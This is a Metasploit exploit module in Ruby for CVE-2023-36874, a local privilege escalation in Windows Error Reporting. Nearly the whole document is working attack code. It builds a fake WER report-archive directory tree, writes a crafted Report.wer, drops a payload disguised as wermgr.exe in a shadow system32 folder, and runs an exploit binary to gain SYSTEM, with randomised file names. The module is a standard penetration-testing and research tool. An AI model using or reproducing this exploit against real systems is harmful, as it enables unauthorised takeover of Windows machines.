This Metasploit module takes advantage of a bug in the way Windows error reporting opens the report parser. If you open a report, Windows uses a relative path to locate the rendering program. By creating a specific alternate directory structure, we can coerce Windows into opening an arbitrary executable as SYSTEM. If the current user is a local admin, the system will attempt impersonation and the exploit will fail.
a872f68c00626fe384e850bbe5b416e5a094fcbf5639c9f1deb5248fc85413ca
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Error Reporting Local Privilege Elevation Vulnerability',
'Description' => %q{
This module takes advantage of a bug in the way Windows error reporting opens the report
parser. If you open a report, Windows uses a relative path to locate the rendering program.
By creating a specific alternate directory structure, we can coerce Windows into opening an
arbitrary executable as SYSTEM.
If the current user is a local admin, the system will attempt impersonation and the exploit will
fail.
},
'License' => MSF_LICENSE,
'Author' => [
'Filip Dragović (Wh04m1001)', # PoC
'Octoberfest7', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
'Targets' => [
[ 'Automatic', { 'Arch' => [ ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-07-11',
'References' => [
['CVE', '2023-36874'],
['URL', 'https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/'],
['URL', 'https://github.com/Wh04m1001/CVE-2023-36874'],
['URL', 'https://github.com/Octoberfest7/CVE-2023-36874_BOF']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
stdapi_sys_config_getenv
]
}
}
)
)
register_options([
OptString.new('EXPLOIT_NAME',
[true, 'The filename to use for the exploit binary (%RAND%.exe by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
OptString.new('REPORT_DIR',
[true, 'The Error Directory to use (%RAND% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
OptString.new('SHADOW_DRIVE',
[true, 'Directory to place in the home drive for pivot (%TEMP% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
OptInt.new('EXECUTE_DELAY',
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
])
end
# When we pass the directory value to the mkdir method, the mkdir method
# passes the reference to the string containing the directory.
# We do a lot of string manipulation in this module, so this is a quick
# hack to make sure that despite what we do with the string after we create
# the directory, it is the actual directory we created that gets sent to
# the cleanup methods.
def clone_mkdir(dir)
mkdir(dir.clone)
end
def upload_error_report
wer_archive_dir = get_env('PROGRAMDATA')
vprint_status(wer_archive_dir)
wer_archive_dir << '\\Microsoft\\Windows\\WER\\ReportArchive'
report_dir = "#{wer_archive_dir}\\#{datastore['REPORT_DIR']}"
report_filename = "#{report_dir}\\Report.wer"
vprint_status("Creating #{report_dir}")
clone_mkdir(report_dir)
wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')
vprint_status("Writing Report to #{report_filename}")
write_file(report_filename, wer_report_data)
end
def build_shadow_archive_dir(shadow_base_dir)
wer_archive_dir = shadow_base_dir
clone_mkdir(wer_archive_dir)
wer_archive_dir << '\\ProgramData\\'
clone_mkdir(wer_archive_dir)
wer_archive_dir << 'Microsoft\\'
clone_mkdir(wer_archive_dir)
wer_archive_dir << 'Windows\\'
clone_mkdir(wer_archive_dir)
wer_archive_dir << 'WER\\'
clone_mkdir(wer_archive_dir)
wer_archive_dir << 'ReportArchive\\'
clone_mkdir(wer_archive_dir)
report_dir = "#{wer_archive_dir}#{datastore['REPORT_DIR']}"
clone_mkdir(report_dir)
return report_dir
end
def upload_shadow_report(shadow_archive_dir)
report_filename = "#{shadow_archive_dir}\\Report.wer"
wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')
vprint_status("Writing bad Report to #{report_filename}")
write_file(report_filename, wer_report_data)
end
def build_shadow_system32(shadow_base_dir)
shadow_win32 = "#{shadow_base_dir}\\system32"
vprint_status("Creating #{shadow_win32}")
clone_mkdir(shadow_win32)
return shadow_win32
end
def upload_payload(shadow_win32)
payload_bin = generate_payload_exe
payload_filename = "#{shadow_win32}\\wermgr.exe"
vprint_status("Writing payload to #{payload_filename}")
write_file(payload_filename, payload_bin)
end
def upload_execute_exploit(exploit_path, shadow_path, home_dir)
vprint_status("shadow_path = #{shadow_path}")
exploit_bin = exploit_data('CVE-2023-36874', 'CVE-2023-36874.exe')
write_file(exploit_path, exploit_bin)
sleep datastore['EXECUTE_DELAY']
vprint_status("Exploit uploaded to #{exploit_path}")
cmd = "#{exploit_path} #{shadow_path} #{home_dir} #{datastore['REPORT_DIR']}"
output = cmd_exec(cmd, nil, 30)
vprint_status(output)
end
def check
# This only appears to work on 22H2, but likely will work elsewhere if we figure out the function pointers.
version = get_version_info
vprint_status("OS version: #{version}")
return Exploit::CheckCode::Appears if version.build_number == Msf::WindowsVersion::Win10_22H2
return Exploit::CheckCode::Safe
end
def exploit
fail_with(Module::Failure::BadConfig, 'User cannot be local admin') if is_in_admin_group?
fail_with(Module::Failure::BadConfig, 'Already SYSTEM') if is_system?
shadow_dir = datastore['SHADOW_DRIVE']
home_dir = get_env('HOMEDRIVE')
shadow_path = "#{home_dir}\\#{shadow_dir}"
vprint_status("Shadow Path = #{shadow_path}")
upload_error_report
shadow_archive_dir = build_shadow_archive_dir(shadow_path.dup)
upload_shadow_report(shadow_archive_dir)
shadow_system32 = build_shadow_system32(shadow_path.dup)
upload_payload(shadow_system32)
sleep datastore['EXECUTE_DELAY']
exploit_path = "#{shadow_path}\\#{datastore['EXPLOIT_NAME']}"
exploit_path << '.exe' unless exploit_path[-4..] == '.exe'
if shadow_dir.length > 64
fail_with(Module::Failure::BadConfig, 'REPORT_DIR value too long')
end
upload_execute_exploit(exploit_path, shadow_dir, home_dir)
print_warning("Manual deletion of #{shadow_path} may be required")
end
end